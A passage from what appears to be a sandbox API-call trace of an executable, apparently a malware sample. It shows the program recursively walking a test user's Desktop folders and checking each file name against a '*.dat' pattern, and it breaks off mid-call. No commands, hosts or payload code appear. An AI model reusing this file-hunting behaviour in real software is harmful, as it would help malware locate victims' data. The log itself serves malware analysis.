[0146.315] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aac8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.315] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*.dat") returned 0 [0146.315] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526a000, ftCreationTime.dwHighDateTime=0x1d7b433, ftLastAccessTime.dwLowDateTime=0xf526a000, ftLastAccessTime.dwHighDateTime=0x1d7b433, ftLastWriteTime.dwLowDateTime=0xcf909b00, ftLastWriteTime.dwHighDateTime=0x1d7b421, nFileSizeHigh=0x0, nFileSizeLow=0x92400, dwReserved0=0x0, dwReserved1=0x0, cFileName="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cAlternateFileName="7859D0~1.EXE")) returned 1 [0146.315] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.315] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.315] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.315] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.315] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.315] lstrcatW (in: lpString1="\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0146.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x23611c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpUsedDefaultChar=0x0) returned 100 [0146.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac30, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.316] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*.dat") returned 0 [0146.316] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767b4af0, ftCreationTime.dwHighDateTime=0x1d7aa31, ftLastAccessTime.dwLowDateTime=0xd2fd0c00, ftLastAccessTime.dwHighDateTime=0x1d7aa9f, ftLastWriteTime.dwLowDateTime=0xd2fd0c00, ftLastWriteTime.dwHighDateTime=0x1d7aa9f, nFileSizeHigh=0x0, nFileSizeLow=0x2b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="82JEM7uGSBUD5y.jpg", cAlternateFileName="82JEM7~1.JPG")) returned 1 [0146.316] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.316] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.316] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg" [0146.316] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.316] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.316] lstrcatW (in: lpString1="\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="\\82JEM7uGSBUD5y.jpg") returned="\\82JEM7uGSBUD5y.jpg" [0146.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0146.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x32bac20, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", lpUsedDefaultChar=0x0) returned 50 [0146.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.316] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*.dat") returned 0 [0146.316] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0b205c0, ftCreationTime.dwHighDateTime=0x1d7aa86, ftLastAccessTime.dwLowDateTime=0x93584e20, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0x93584e20, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DlSlQ4DWJEgioA.bmp", cAlternateFileName="8DLSLQ~1.BMP")) returned 1 [0146.316] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.316] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.316] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp" [0146.316] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.317] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.319] lstrcatW (in: lpString1="\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="\\8DlSlQ4DWJEgioA.bmp") returned="\\8DlSlQ4DWJEgioA.bmp" [0146.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x32baf20, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", lpUsedDefaultChar=0x0) returned 51 [0146.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab40, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.319] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*.dat") returned 0 [0146.319] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="avdtAoxV8CAmzwyXqi1", cAlternateFileName="AVDTAO~1")) returned 1 [0146.319] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.319] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.319] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.319] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.319] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.319] lstrcatW (in: lpString1="\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.319] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2=".") returned 1 [0146.319] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2="..") returned 1 [0146.319] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.319] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*" [0146.319] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0146.320] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.320] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.320] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\." [0146.320] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.320] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.320] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\.") returned="\\avdtAoxV8CAmzwyXqi1\\." [0146.325] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.325] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.325] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.325] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.325] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.." [0146.325] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.325] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.325] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\..") returned="\\avdtAoxV8CAmzwyXqi1\\.." [0146.325] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.325] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.325] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bJmFQ", cAlternateFileName="")) returned 1 [0146.325] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.325] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.326] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.326] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.326] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.326] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.326] lstrcmpW (lpString1="0bJmFQ", lpString2=".") returned 1 [0146.326] lstrcmpW (lpString1="0bJmFQ", lpString2="..") returned 1 [0146.326] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.326] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*" [0146.326] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882830 [0146.326] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.326] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.326] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.326] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.326] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.327] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.327] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.327] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.327] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.327] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.327] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.327] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.327] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.327] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5d62c0, ftCreationTime.dwHighDateTime=0x1d7a115, ftLastAccessTime.dwLowDateTime=0xa140a5e0, ftLastAccessTime.dwHighDateTime=0x1d7ac62, ftLastWriteTime.dwLowDateTime=0xa140a5e0, ftLastWriteTime.dwHighDateTime=0x1d7ac62, nFileSizeHigh=0x0, nFileSizeLow=0x129ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a8e-vNM7Q5rmwj.rtf", cAlternateFileName="3A8E-V~1.RTF")) returned 1 [0146.327] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.327] lstrcatW (in: 